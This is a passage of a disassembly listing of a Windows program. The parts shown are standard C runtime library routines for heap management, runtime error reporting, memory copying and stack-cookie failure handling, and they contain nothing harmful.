ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_405806 mov cl, [edi+eax+4] mov byte ptr [ebp+arg_8+3], cl inc cl cmp edi, 20h mov [edi+eax+4], cl jnb short loc_4057DD cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_4057D5 mov ecx, edi mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_4057D5: ; CODE XREF: sub_40568F+136j lea eax, [eax+edx*4+44h] mov ecx, edi jmp short loc_4057FD ; --------------------------------------------------------------------------- loc_4057DD: ; CODE XREF: sub_40568F+130j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_4057F3 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_4057F3: ; CODE XREF: sub_40568F+152j lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] loc_4057FD: ; CODE XREF: sub_40568F+14Cj mov edx, 80000000h shr edx, cl or [eax], edx loc_405806: ; CODE XREF: sub_40568F+11Ej mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_40581B ; --------------------------------------------------------------------------- loc_405818: ; CODE XREF: sub_40568F+DEj mov edx, [ebp+arg_4] loc_40581B: ; CODE XREF: sub_40568F+187j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_405966 ; --------------------------------------------------------------------------- loc_40582A: ; CODE XREF: sub_40568F+50j ; sub_40568F+5Aj xor eax, eax jmp loc_405969 ; --------------------------------------------------------------------------- loc_405831: ; CODE XREF: sub_40568F+47j jge loc_405966 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+arg_4], ebx mov [ebx-4], ecx jbe short loc_40585C push 3Fh pop esi loc_40585C: ; CODE XREF: sub_40568F+1C8j test byte ptr [ebp+var_4], 1 jnz loc_4058E6 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_405875 push 3Fh pop esi loc_405875: ; CODE XREF: sub_40568F+1E1j mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_4058BF cmp esi, 20h mov ebx, 80000000h jnb short loc_4058A0 mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_4058BC mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4058BC ; --------------------------------------------------------------------------- loc_4058A0: ; CODE XREF: sub_40568F+1F6j lea ecx, [esi-20h] shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4058BC mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4058BC: ; CODE XREF: sub_40568F+208j ; sub_40568F+20Fj ... mov ebx, [ebp+arg_4] loc_4058BF: ; CODE XREF: sub_40568F+1ECj mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov esi, [edi+8] mov ecx, [edi+4] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_4058E6 push 3Fh pop esi loc_4058E6: ; CODE XREF: sub_40568F+1D1j ; sub_40568F+252j mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [ebx+8], ecx mov [ebx+4], edi mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_40595D mov cl, [esi+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jnb short loc_405934 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_40592C mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_40592C: ; CODE XREF: sub_40568F+28Dj lea eax, [eax+edx*4+44h] mov ecx, esi jmp short loc_405954 ; --------------------------------------------------------------------------- loc_405934: ; CODE XREF: sub_40568F+287j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_40594A lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_40594A: ; CODE XREF: sub_40568F+2A9j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] loc_405954: ; CODE XREF: sub_40568F+2A3j mov edx, 80000000h shr edx, cl or [eax], edx loc_40595D: ; CODE XREF: sub_40568F+275j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_405966: ; CODE XREF: sub_40568F+196j ; sub_40568F:loc_405831j xor eax, eax inc eax loc_405969: ; CODE XREF: sub_40568F+19Dj pop edi pop esi pop ebx leave retn sub_40568F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40596E proc near ; CODE XREF: sub_403AC8+28p ; sub_40B684+88p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_413B8C mov ecx, [ebp+arg_0] imul eax, 14h add eax, dword_413B90 add ecx, 17h and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 push ebx dec ecx cmp ecx, 20h push esi push edi jge short loc_4059A5 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh jmp short loc_4059B2 ; --------------------------------------------------------------------------- loc_4059A5: ; CODE XREF: sub_40596E+2Aj add ecx, 0FFFFFFE0h or edx, 0FFFFFFFFh xor esi, esi shr edx, cl mov [ebp+var_8], edx loc_4059B2: ; CODE XREF: sub_40596E+35j mov ecx, dword_413B98 mov ebx, ecx jmp short loc_4059CD ; --------------------------------------------------------------------------- loc_4059BC: ; CODE XREF: sub_40596E+64j mov edx, [ebx+4] mov edi, [ebx] and edx, [ebp+var_8] and edi, esi or edx, edi jnz short loc_4059D4 add ebx, 14h loc_4059CD: ; CODE XREF: sub_40596E+4Cj cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_4059BC loc_4059D4: ; CODE XREF: sub_40596E+5Aj cmp ebx, eax jnz short loc_405A57 mov ebx, dword_413B90 jmp short loc_4059F1 ; --------------------------------------------------------------------------- loc_4059E0: ; CODE XREF: sub_40596E+88j mov edx, [ebx+4] mov edi, [ebx] and edx, [ebp+var_8] and edi, esi or edx, edi jnz short loc_4059F8 add ebx, 14h loc_4059F1: ; CODE XREF: sub_40596E+70j cmp ebx, ecx mov [ebp+arg_0], ebx jb short loc_4059E0 loc_4059F8: ; CODE XREF: sub_40596E+7Ej cmp ebx, ecx jnz short loc_405A57 jmp short loc_405A0A ; --------------------------------------------------------------------------- loc_4059FE: ; CODE XREF: sub_40596E+9Ej cmp dword ptr [ebx+8], 0 jnz short loc_405A0E add ebx, 14h mov [ebp+arg_0], ebx loc_405A0A: ; CODE XREF: sub_40596E+8Ej cmp ebx, eax jb short loc_4059FE loc_405A0E: ; CODE XREF: sub_40596E+94j cmp ebx, eax jnz short loc_405A43 mov ebx, dword_413B90 jmp short loc_405A23 ; --------------------------------------------------------------------------- loc_405A1A: ; CODE XREF: sub_40596E+BAj cmp dword ptr [ebx+8], 0 jnz short loc_405A2A add ebx, 14h loc_405A23: ; CODE XREF: sub_40596E+AAj cmp ebx, ecx mov [ebp+arg_0], ebx jb short loc_405A1A loc_405A2A: ; CODE XREF: sub_40596E+B0j cmp ebx, ecx jnz short loc_405A43 call sub_4054D9 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jnz short loc_405A43 loc_405A3C: ; CODE XREF: sub_40596E+E7j xor eax, eax jmp loc_405C4C ; --------------------------------------------------------------------------- loc_405A43: ; CODE XREF: sub_40596E+A2j ; sub_40596E+BEj ... push ebx call sub_405589 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_405A3C loc_405A57: ; CODE XREF: sub_40596E+68j ; sub_40596E+8Cj mov dword_413B98, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_405A7E mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_405AA7 loc_405A7E: ; CODE XREF: sub_40596E+FAj and [ebp+var_4], 0 mov edx, [eax+0C4h] lea ecx, [eax+44h] loc_405A8B: ; CODE XREF: sub_40596E+134j mov edi, [ecx] and edx, [ebp+var_8] and edi, esi or edx, edi jnz short loc_405AA4 inc [ebp+var_4] mov edx, [ecx+84h] add ecx, 4 jmp short loc_405A8B ; --------------------------------------------------------------------------- loc_405AA4: ; CODE XREF: sub_40596E+126j mov edx, [ebp+var_4] loc_405AA7: ; CODE XREF: sub_40596E+10Ej mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] xor edi, edi and ecx, esi jnz short loc_405AD5 mov ecx, [eax+edx*4+0C4h] and ecx, [ebp+var_8] push 20h pop edi jmp short loc_405AD5 ; --------------------------------------------------------------------------- loc_405AD2: ; CODE XREF: sub_40596E+169j add ecx, ecx inc edi loc_405AD5: ; CODE XREF: sub_40596E+153j ; sub_40596E+162j test ecx, ecx jge short loc_405AD2 mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+var_8], ecx jle short loc_405AF6 push 3Fh pop esi loc_405AF6: ; CODE XREF: sub_40596E+183j cmp esi, edi jz loc_405BFF mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_405B62 cmp edi, 20h mov ebx, 80000000h jge short loc_405B36 mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_405B5F mov ecx, [ebp+var_14] mov ebx, [ebp+arg_0] and [ebx], ecx jmp short loc_405B62 ; --------------------------------------------------------------------------- loc_405B36: ; CODE XREF: sub_40596E+1A0j lea ecx, [edi-20h] shr ebx, cl mov ecx, [ebp+var_4] lea ecx, [eax+ecx*4+0C4h] lea edi, [eax+edi+4] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_405B5F mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_405B62 ; --------------------------------------------------------------------------- loc_405B5F: ; CODE XREF: sub_40596E+1BCj ; sub_40596E+1E4j mov ebx, [ebp+arg_0] loc_405B62: ; CODE XREF: sub_40596E+196j ; sub_40596E+1C6j ... cmp [ebp+var_8], 0 mov ecx, [edx+8] mov edi, [edx+4] mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_405C0B mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [edx+8], ecx mov [edx+4], edi mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_405BFC mov cl, [esi+eax+4] mov byte ptr [ebp+arg_0+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jge short loc_405BD3 cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_405BC1 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_405BC1: ; CODE XREF: sub_40596E+246j mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_405BFC ; --------------------------------------------------------------------------- loc_405BD3: ; CODE XREF: sub_40596E+240j cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_405BE6 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_405BE6: ; CODE XREF: sub_40596E+269j mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_405BFC: ; CODE XREF: sub_40596E+22Ej ; sub_40596E+263j mov ecx, [ebp+var_8] loc_405BFF: ; CODE XREF: sub_40596E+18Aj test ecx, ecx jz short loc_405C0E mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_405C0E ; --------------------------------------------------------------------------- loc_405C0B: ; CODE XREF: sub_40596E+20Aj mov ecx, [ebp+var_8] loc_405C0E: ; CODE XREF: sub_40596E+293j ; sub_40596E+29Bj mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_405C44 cmp ebx, dword_411578 jnz short loc_405C44 mov ecx, [ebp+var_4] cmp ecx, dword_413BA0 jnz short loc_405C44 and dword_411578, 0 loc_405C44: ; CODE XREF: sub_40596E+2BAj ; sub_40596E+2C2j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_405C4C: ; CODE XREF: sub_40596E+D0j pop edi pop esi pop ebx leave retn sub_40596E endp ; --------------------------------------------------------------------------- align 4 ; [00000045 BYTES: COLLAPSED FUNCTION __SEH_prolog4. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __SEH_epilog4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405CAD proc near ; CODE XREF: sub_405D08:loc_405D2Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi lea eax, [ebp+var_4] xor esi, esi push eax mov [ebp+var_4], esi mov [ebp+var_8], esi call sub_4042D8 test eax, eax pop ecx jz short loc_405CD6 push esi push esi push esi push esi push esi call sub_404D8F add esp, 14h loc_405CD6: ; CODE XREF: sub_405CAD+1Aj lea eax, [ebp+var_8] push eax call sub_40430F test eax, eax pop ecx jz short loc_405CF1 push esi push esi push esi push esi push esi call sub_404D8F add esp, 14h loc_405CF1: ; CODE XREF: sub_405CAD+35j cmp [ebp+var_4], 2 pop esi jnz short loc_405D03 cmp [ebp+var_8], 5 jb short loc_405D03 xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_405D03: ; CODE XREF: sub_405CAD+49j ; sub_405CAD+4Fj push 3 pop eax leave retn sub_405CAD endp ; =============== S U B R O U T I N E ======================================= sub_405D08 proc near ; CODE XREF: seg001:00404C6Cp arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax push 0 setz al push 1000h push eax call dword_40D144 ; HeapCreate test eax, eax mov dword_41157C, eax jnz short loc_405D2B loc_405D28: ; CODE XREF: sub_405D08+54j xor eax, eax retn ; --------------------------------------------------------------------------- loc_405D2B: ; CODE XREF: sub_405D08+1Ej call sub_405CAD cmp eax, 3 mov dword_413B88, eax jnz short loc_405D5E push 3F8h call sub_405152 test eax, eax pop ecx jnz short loc_405D5E push dword_41157C call dword_40D140 ; HeapDestroy and dword_41157C, 0 jmp short loc_405D28 ; --------------------------------------------------------------------------- loc_405D5E: ; CODE XREF: sub_405D08+30j ; sub_405D08+3Fj xor eax, eax inc eax retn sub_405D08 endp ; =============== S U B R O U T I N E ======================================= sub_405D62 proc near ; CODE XREF: sub_403B17+2Ap ; sub_40422F+9p ... var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx push ebx mov ebx, [esp+8+arg_0] push esi push edi xor esi, esi xor edi, edi loc_405D6E: ; CODE XREF: sub_405D62+19j cmp ebx, dword_410708[edi*8] jz short loc_405D7D inc edi cmp edi, 17h jb short loc_405D6E loc_405D7D: ; CODE XREF: sub_405D62+13j cmp edi, 17h jnb loc_405EFD push ebp push 3 call sub_409A46 cmp eax, 1 pop ecx jz loc_405EC9 push 3 call sub_409A46 test eax, eax pop ecx jnz short loc_405DB1 cmp dword_4105D0, 1 jz loc_405EC9 loc_405DB1: ; CODE XREF: sub_405D62+40j cmp ebx, 0FCh jz loc_405EFC push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " mov ebx, 314h push ebx mov ebp, offset dword_411580 push ebp call sub_404EAF add esp, 0Ch test eax, eax jz short loc_405DE7 push esi push esi push esi push esi push esi call sub_404D8F add esp, 14h loc_405DE7: ; CODE XREF: sub_405D62+76j push 104h mov esi, offset byte_411599 push esi push 0 mov byte_41169D, 0 call dword_40D0E0 ; GetModuleFileNameA test eax, eax jnz short loc_405E2B push offset aProgramNameUnk ; "<program name unknown>" push 2FBh push esi call sub_404EAF add esp, 0Ch test eax, eax jz short loc_405E2B xor eax, eax push eax push eax push eax push eax push eax call sub_404D8F add esp, 14h loc_405E2B: ; CODE XREF: sub_405D62+A1j ; sub_405D62+B8j push esi call sub_404F20 inc eax cmp eax, 3Ch pop ecx jbe short loc_405E70 push esi call sub_404F20 sub esi, 3Bh add eax, esi push 3 mov ecx, offset dword_411894 push offset a___ ; "..." sub ecx, eax push ecx push eax call sub_409993 add esp, 14h test eax, eax jz short loc_405E70 xor esi, esi push esi push esi push esi push esi push esi call sub_404D8F add esp, 14h jmp short loc_405E72 ; --------------------------------------------------------------------------- loc_405E70: ; CODE XREF: sub_405D62+D4j ; sub_405D62+FBj xor esi, esi loc_405E72: ; CODE XREF: sub_405D62+10Cj push offset asc_40D800 ; "\n\n" push ebx push ebp call sub_409922 add esp, 0Ch test eax, eax jz short loc_405E92 push esi push esi push esi push esi push esi call sub_404D8F add esp, 14h loc_405E92: ; CODE XREF: sub_405D62+121j push off_41070C[edi*8] push ebx push ebp call sub_409922 add esp, 0Ch test eax, eax jz short loc_405EB4 push esi push esi push esi push esi push esi call sub_404D8F add esp, 14h loc_405EB4: ; CODE XREF: sub_405D62+143j push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push ebp call sub_409765 add esp, 0Ch jmp short loc_405EFC ; --------------------------------------------------------------------------- loc_405EC9: ; CODE XREF: sub_405D62+30j ; sub_405D62+49j push 0FFFFFFF4h call dword_40D14C ; GetStdHandle mov ebp, eax cmp ebp, esi jz short loc_405EFC cmp ebp, 0FFFFFFFFh jz short loc_405EFC push 0 lea eax, [esp+18h+var_4] push eax lea esi, ds:41070Ch[edi*8] push dword ptr [esi] call sub_404F20 pop ecx push eax push dword ptr [esi] push ebp call dword_40D148 ; WriteFile loc_405EFC: ; CODE XREF: sub_405D62+55j ; sub_405D62+165j ... pop ebp loc_405EFD: ; CODE XREF: sub_405D62+1Ej pop edi pop esi pop ebx pop ecx retn sub_405D62 endp ; =============== S U B R O U T I N E ======================================= sub_405F02 proc near ; CODE XREF: sub_403B17+23p ; sub_40422Fp ... push 3 call sub_409A46 cmp eax, 1 pop ecx jz short loc_405F24 push 3 call sub_409A46 test eax, eax pop ecx jnz short locret_405F3A cmp dword_4105D0, 1 jnz short locret_405F3A loc_405F24: ; CODE XREF: sub_405F02+Bj push 0FCh call sub_405D62 push 0FFh call sub_405D62 pop ecx pop ecx locret_405F3A: ; CODE XREF: sub_405F02+17j ; sub_405F02+20j retn sub_405F02 endp ; =============== S U B R O U T I N E ======================================= sub_405F3B proc near ; CODE XREF: sub_4044FF+9p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_411894, eax retn sub_405F3B endp ; =============== S U B R O U T I N E ======================================= sub_405F45 proc near ; CODE XREF: sub_403B17+8Cp ; sub_403B17+AEp ... arg_0 = dword ptr 4 push dword_411894 call sub_4062CC test eax, eax pop ecx jz short loc_405F64 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_405F64 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_405F64: ; CODE XREF: sub_405F45+Ej ; sub_405F45+19j xor eax, eax retn sub_405F45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F67 proc near ; CODE XREF: sub_405FEE+4Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], edi mov [ebp+var_8], esi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] shr ecx, 7 jmp short loc_405F87 ; --------------------------------------------------------------------------- db 8Dh, 9Bh, 4 dup(0) ; --------------------------------------------------------------------------- loc_405F87: ; CODE XREF: sub_405F67+18j ; sub_405F67+7Bj movdqa xmm0, oword ptr [esi] movdqa xmm1, oword ptr [esi+10h] movdqa xmm2, oword ptr [esi+20h] movdqa xmm3, oword ptr [esi+30h] movdqa oword ptr [edi], xmm0 movdqa oword ptr [edi+10h], xmm1 movdqa oword ptr [edi+20h], xmm2 movdqa oword ptr [edi+30h], xmm3 movdqa xmm4, oword ptr [esi+40h] movdqa xmm5, oword ptr [esi+50h] movdqa xmm6, oword ptr [esi+60h] movdqa xmm7, oword ptr [esi+70h] movdqa oword ptr [edi+40h], xmm4 movdqa oword ptr [edi+50h], xmm5 movdqa oword ptr [edi+60h], xmm6 movdqa oword ptr [edi+70h], xmm7 lea esi, [esi+80h] lea edi, [edi+80h] dec ecx jnz short loc_405F87 mov esi, [ebp+var_8] mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_405F67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FEE proc near ; CODE XREF: sub_403BE0+42j ; sub_405FEE+AFp ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_C], edi mov [ebp+var_8], esi mov [ebp+var_4], ebx mov ebx, [ebp+arg_4] mov eax, ebx cdq mov ecx, eax mov eax, [ebp+arg_0] xor ecx, edx sub ecx, edx and ecx, 0Fh xor ecx, edx sub ecx, edx cdq mov edi, eax xor edi, edx sub edi, edx and edi, 0Fh xor edi, edx sub edi, edx mov edx, ecx or edx, edi jnz short loc_406071 mov esi, [ebp+arg_8] mov ecx, esi and ecx, 7Fh mov [ebp+var_18], ecx cmp esi, ecx jz short loc_406049 sub esi, ecx push esi push ebx push eax call sub_405F67 add esp, 0Ch mov eax, [ebp+arg_0] mov ecx, [ebp+var_18] loc_406049: ; CODE XREF: sub_405FEE+46j test ecx, ecx jz short loc_4060C4 mov ebx, [ebp+arg_8] mov edx, [ebp+arg_4] add edx, ebx sub edx, ecx mov [ebp+var_14], edx add ebx, eax sub ebx, ecx mov [ebp+var_10], ebx mov esi, [ebp+var_14] mov edi, [ebp+var_10] mov ecx, [ebp+var_18] rep movsb mov eax, [ebp+arg_0] jmp short loc_4060C4 ; --------------------------------------------------------------------------- loc_406071: ; CODE XREF: sub_405FEE+37j cmp ecx, edi jnz short loc_4060AA neg ecx add ecx, 10h mov [ebp+var_1C], ecx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+var_1C] rep movsb mov ecx, [ebp+arg_0] add ecx, [ebp+var_1C] mov edx, [ebp+arg_4] add edx, [ebp+var_1C] mov eax, [ebp+arg_8] sub eax, [ebp+var_1C] push eax push edx push ecx call sub_405FEE add esp, 0Ch mov eax, [ebp+arg_0] jmp short loc_4060C4 ; --------------------------------------------------------------------------- loc_4060AA: ; CODE XREF: sub_405FEE+85j mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebp+arg_0] loc_4060C4: ; CODE XREF: sub_405FEE+5Dj ; sub_405FEE+81j ... mov ebx, [ebp+var_4] mov esi, [ebp+var_8] mov edi, [ebp+var_C] mov esp, ebp pop ebp retn sub_405FEE endp ; =============== S U B R O U T I N E ======================================= sub_4060D1 proc near ; DATA XREF: seg001:0040D228o and dword_413B80, 0 call sub_409ADC mov dword_413B80, eax xor eax, eax retn sub_4060D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060E5 proc near ; CODE XREF: sub_403F45:loc_403F4Fj var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 328h mov dword_4119A8, eax mov dword_4119A4, ecx mov dword_4119A0, edx mov dword_41199C, ebx mov dword_411998, esi mov dword_411994, edi mov word_4119C0, ss mov word_4119B4, cs mov word_411990, ds mov word_41198C, es mov word_411988, fs mov word_411984, gs pushf pop dword_4119B8 mov eax, [ebp+0] mov dword_4119AC, eax mov eax, [ebp+4] mov dword_4119B0, eax lea eax, [ebp+arg_0] mov dword_4119BC, eax mov eax, [ebp+var_320] mov dword_4118F8, 10001h mov eax, dword_4119B0 mov dword_4118AC, eax mov dword_4118A0, 0C0000409h mov dword_4118A4, 1 mov eax, dword_410440 mov [ebp+var_328], eax mov eax, dword_410444 mov [ebp+var_324], eax call dword_40D124 ; IsDebuggerPresent mov dword_4118F0, eax push 1 call sub_40931B pop ecx push 0 call dword_40D120 ; SetUnhandledExceptionFilter push offset off_40D83C call dword_40D11C ; UnhandledExceptionFilter cmp dword_4118F0, 0 jnz short loc_4061D5 push 1 call sub_40931B pop ecx loc_4061D5: ; CODE XREF: sub_4060E5+E6j push 0C0000409h call dword_40D118 ; GetCurrentProcess push eax call dword_40D0B0 ; TerminateProcess leave retn sub_4060E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4061E9 proc near ; CODE XREF: sub_406255+45p ; sub_4062CC+45p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi xor esi, esi lea eax, [ebp+var_4] inc esi xor ebx, ebx push eax mov [ebp+var_8], esi mov [ebp+var_4], ebx call sub_40430F cmp [ebp+var_4], 5 pop ecx jle short loc_40620F mov eax, esi jmp short loc_406251 ; --------------------------------------------------------------------------- loc_40620F: ; CODE XREF: sub_4061E9+20j push edi push ebx call dword_40D104 ; GetModuleHandleA mov esi, [eax+3Ch] add esi, eax cmp [esi+6], bx movzx eax, word ptr [esi+14h] lea edi, [eax+esi+18h] jbe short loc_40624D loc_40622A: ; CODE XREF: sub_4061E9+5Cj push edi push offset dword_40D844 call sub_409B50 test eax, eax pop ecx pop ecx jz short loc_406249 movzx eax, word ptr [esi+6] inc ebx add edi, 28h cmp ebx, eax jb short loc_40622A jmp short loc_40624D ; --------------------------------------------------------------------------- loc_406249: ; CODE XREF: sub_4061E9+50j and [ebp+var_8], 0 loc_40624D: ; CODE XREF: sub_4061E9+3Fj ; sub_4061E9+5Ej mov eax, [ebp+var_8] pop edi loc_406251: ; CODE XREF: sub_4061E9+24j pop esi pop ebx leave retn sub_4061E9 endp ; =============== S U B R O U T I N E ======================================= sub_406255 proc near ; CODE XREF: sub_4044FF+3Dp ; sub_4062C3+2p ... arg_0 = dword ptr 4 push esi push dword_4107C4 mov esi, dword_40D150 call esi ; TlsGetValue test eax, eax jz short loc_406289 mov eax, dword_4107C0 cmp eax, 0FFFFFFFFh jz short loc_406289 push eax push dword_4107C4 call esi ; TlsGetValue call eax test eax, eax jz short loc_406289 mov eax, [eax+1F8h] jmp short loc_4062AF ; --------------------------------------------------------------------------- loc_406289: ; CODE XREF: sub_406255+11j ; sub_406255+1Bj ... push offset aKernel32_dll ; "KERNEL32.DLL" call dword_40D104 ; GetModuleHandleA mov esi, eax test esi, esi jz short loc_4062BD call sub_4061E9 test eax, eax jz short loc_4062BD push offset aEncodepointer ; "EncodePointer" push esi call dword_40D100 ; GetProcAddress loc_4062AF: ; CODE XREF: sub_406255+32j test eax, eax jz short loc_4062BD push [esp+4+arg_0] call eax mov [esp+4+arg_0], eax loc_4062BD: ; CODE XREF: sub_406255+43j ; sub_406255+4Cj ... mov eax, [esp+4+arg_0] pop esi retn sub_406255 endp ; =============== S U B R O U T I N E ======================================= sub_4062C3 proc near ; CODE XREF: sub_4043DD+6Ep ; sub_4044FF+1p ... push 0 call sub_406255 pop ecx retn sub_4062C3 endp ; =============== S U B R O U T I N E ======================================= sub_4062CC proc near ; CODE XREF: sub_40422F+14p ; sub_4043DD+3Dp ... arg_0 = dword ptr 4 push esi push dword_4107C4 mov esi, dword_40D150 call esi ; TlsGetValue test eax, eax jz short loc_406300 mov eax, dword_4107C0 cmp eax, 0FFFFFFFFh jz short loc_406300 push eax push dword_4107C4 call esi ; TlsGetValue call eax test eax, eax jz short loc_406300 mov eax, [eax+1FCh] jmp short loc_406326 ; --------------------------------------------------------------------------- loc_406300: ; CODE XREF: sub_4062CC+11j ; sub_4062CC+1Bj ... push offset aKernel32_dll ; "KERNEL32.DLL" call dword_40D104 ; GetModuleHandleA mov esi, eax test esi, esi jz short loc_406334 call sub_4061E9 test eax, eax jz short loc_406334 push offset aDecodepointer ; "DecodePointer" push esi call dword_40D100 ; GetProcAddress loc_406326: ; CODE XREF: sub_4062CC+32j test eax, eax jz short loc_406334 push [esp+4+arg_0] call eax mov [esp+4+arg_0], eax loc_406334: ; CODE XREF: sub_4062CC+43j ; 